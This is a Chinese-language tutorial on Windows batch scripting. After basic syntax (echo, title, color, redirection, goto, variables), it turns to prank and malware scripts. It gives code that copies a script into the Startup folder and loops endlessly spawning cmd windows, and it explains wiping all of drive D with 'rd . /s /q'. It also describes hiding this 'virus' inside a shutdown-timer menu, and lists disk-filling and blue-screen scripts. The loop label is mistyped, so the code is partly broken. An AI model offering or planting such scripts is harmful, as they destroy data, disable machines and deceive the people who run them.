一、批处理文件
1.什么是批处理
- 自上而下成批的处理每一条命令,直到执行最后一条!(编写时注意顺序)
- 在windows系统中叫批处理脚本,在linux系统中叫shell脚本
2.创建批处理文件
- 批处理文件(脚本文件)扩展名: .bat
- 创建方法:新建一个记事本文件,然后将扩展名改为.bat
- 基本的dos命令都可以写在批处理文件中
二、批处理基本语法
1)@echo off
- 作用:关闭回显功能,也就是屏蔽过程,建议放置在批处理的首行。即运行脚本后cmd中不会显示执行过程
2)pause
-
作用:暂停批处理运行,按回车再继续执行后面的语句
3)title
-
作用:为批处理脚本设置标题
title zjj
4)echo
-
将信息打印到cmd窗口中,类似于高级语言中的在控制台打印信息
@echo off title zjj echo ==== echo i love you echo ----- pause
echo. #表示输出一个空行
5)color
-
设置背景和字体的颜色
color 0a #设置背景为黑色,字体为淡绿色
6)dos命令执行后的返回操作(>
)
-
当我们在批处理文件中写dos命令,该dos命令可能会执行成功或失败。成功返回什么信息,失败返回什么信息都可以设置
ping -n 10 10.1.1.1 >nul 2>nul #成功也无结果,失败也无结果
说明:
该语句执行成功返回nul,执行失败返回nul。即表示无论成功与否都不执行其他操作
-
什么时候使用:某一句dos命令可能会出现失败的情况下或者成功后不想让其显示本该显示的结果,就加
>... 2>...
7)为命令划分区块(:和goto)
-
:
与goto
:一般都要搭配使用:定义标签名 goto标签名 #实现跳转
8)变量的定义与引用(set、%%)
-
系统变量
比如userprofile—表示当前用户的配置文件目录
C:\Users\用户名
其他的常见的系统变量详见https://www.cnblogs.com/nio-nio/p/9345750.html
-
自定义变量的定义(set)
set 变量名=值 #设置变量的值 set /p 变量名= #等待用户输入值,再赋给变量 set /p 变量名=提示信息 #提示信息自己设置,会显示在需要用户输入之前
-
通过
%变量名%
来引用变量的值
三.批处理实现相关操作
1.将死循环脚本开机自启
#将脚本所在的文件r1.bat复制到开机自启的文件夹中去
@echo off
copy r1.bat "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" #如果r1.bat文件不加路径,那么就要先进入到r1.bat所在的目录下,再执行dos命令,否则会找不到文件
dd:
start #打开cmd
goto dd #死循环
#如果有些dos命令可能会出现错误就在语句后面加 >nul 2>nul
我的主机开机自启动目录为:
C:\Users\I CAN DO ALL THINGS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
2.把磁盘占满的脚本
3.清理d盘中所有的文件和目录
- 编写一个脚本,功能是清理d盘中所有的文件和目录,需要给用户提供文字反馈以及清理过程的等待时间
注释:
nul 2>nul 表示如果前面语句执行成功不做处理,执行失败也不做处理
rd . /s /q 表示删除当前文件夹下的空的和非空的所有东西且不给反馈
echo. 表示空一行
ping -n 8 127.0.0.1 用于达到一种模拟等待清理的等待过程,因为ping需要时间,加上>nul 2>nul 表示ping成功与否都不做任何反馈,默默无闻
4.定时关机菜单中投毒
- 制作一个定时关机的互动菜单,将死循环病毒偷偷加入到开机启动目录
5.关闭桌面进程,过几秒再开启
6.蓝屏